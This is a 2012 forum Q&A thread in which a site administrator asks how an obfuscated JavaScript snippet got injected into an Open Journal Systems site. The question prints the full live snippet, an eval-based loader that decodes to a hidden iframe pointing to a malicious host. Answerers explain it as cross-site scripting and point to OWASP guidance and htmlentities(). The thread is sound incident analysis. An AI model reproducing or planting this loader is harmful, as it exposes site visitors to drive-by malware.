Solved

Need help analyzing a malicious script

Posted on 2012-04-03
2
936 Views
Last Modified: 2013-11-22
We run OJS (Open Journal Systems) on Windows 2003 server with PHP 5, MySQL and Apache 2.2. Recently, a few web pages got corrupted.  When users log into the site to submit/edit articles, and click on a link for "Notifications", they are brought to a page with an address like this:  http://mydomain.com/journals/index.php/myjournal/notification and their antivirus software tells them that the page redirects them to a dangerous website.

The page's source has the following snippet included right on top, before the HTML header:
<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';} n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~59.5~57.5~51.5~56~49.5~56~58.5~49.5~48~48~22~51.5~48~51.5~60~22~48.5~48.5~22.5~30.5~50.5~54.5~29.5~24~18.5~15~58.5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15~51~49.5~51.5~50.5~51~57~29.5~18.5~23.5~23~18.5~15~56.5~57~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~51~51.5~49~49~49.5~54~28.5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~48~56.5~54.5~53~57.5~57~49.5~28.5~53~49.5~50~57~28~23~28.5~57~54.5~55~28~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19.5~28.5~5.5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~56~47.5~53.5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~29.5~15~49~54.5~48.5~57.5~53.5~49.5~54~57~22~48.5~56~49.5~47.5~57~49.5~33.5~53~49.5~53.5~49.5~54~57~19~18.5~51.5~50~56~47.5~53.5~49.5~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~56.5~56~48.5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~59.5~57.5~51.5~56~49.5~56~58.5~49.5~48~48~22~51.5~48~51.5~60~22~48.5~48.5~22.5~30.5~50.5~54.5~29.5~24~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~29.5~18.5~51~51.5~49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~55~54.5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47.5~48~56.5~54.5~53~57.5~57~49.5~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~57~54.5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58.5~51.5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~51~49.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~22~47.5~55~55~49.5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=571;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>

Open in new window


Here is the index.php that is listed in the URL above:
<?php 

 * @file index.php
 *
 *
 * Bootstrap code for OJS site. Loads required files and then calls the
 * dispatcher to delegate to the appropriate request handler.
 */

// $Id$

// Initialize global environment
define('INDEX_FILE_LOCATIO<wbr ></wbr>N', __FILE__);
require('./lib/pkp/include<wbr ></wbr>s/bootstra<wbr ></wbr>p.inc.php'<wbr ></wbr>);

// Serve the request
$application =& PKPApplication::getApplica<wbr ></wbr>tion();
$application->execute();
?>

Open in new window


I have tried a few antivirus programs, and while some of them detected viruses like the VirTool:JS/Obfuscator.W(v) trojan, but now they report the system as clean, but the problem is still there.

I want to understand the mechanism behind this.  How is the the malicious script inserted into a web page and how does it instruct the browser to go to a malicious web site?  The script has to be decrypted, but is is done on my machine or elsewhere?
0
Comment
Question by:lolekbolek
2 Comments
 
LVL 7

Assisted Solution

by:designatedinitializer
designatedinitializer earned 250 total points
ID: 37804217
That's an XSS instance: Cross-Site-Scripting attack.
The fellaz exploit your lack of user-input sanitation in order to inject JavaScript in your pages.

Check this page for more info and some samples:
http://ha.ckers.org/xss.html

The js code is of course not encrypted (that's not actually possible), but it is obfuscated: it is exploded to a bunch of characters and ascii codes that get strung-up together and eval()-ed in order to do their dirty work.
0
 
LVL 108

Accepted Solution

by:
Ray Paseur earned 250 total points
ID: 37805671
Check these links for some useful information:
http://phpsec.org/projects/guide/2.html
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
http://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

One of the most essential and simple ways of dealing with stuff like this is to use htmlentities() when you echo external data to a client browser.

Best of luck with it, ~Ray
0

Featured Post

Enterprise Mobility and BYOD For Dummies

Like “For Dummies” books, you can read this in whatever order you choose and learn about mobility and BYOD; and how to put a competitive mobile infrastructure in place. Developed for SMBs and large enterprises alike, you will find helpful use cases, planning, and implementation.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

These days socially coordinated efforts have turned into a critical requirement for enterprises.
Password hashing is better than message digests or encryption, and you should be using it instead of message digests or encryption.  Find out why and how in this article, which supplements the original article on PHP Client Registration, Login, Logo…
Explain concepts important to validation of email addresses with regular expressions. Applies to most languages/tools that uses regular expressions. Consider email address RFCs: Look at HTML5 form input element (with type=email) regex pattern: T…
The viewer will learn how to dynamically set the form action using jQuery.

911 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

20 Experts available now in Live!

Get 1:1 Help Now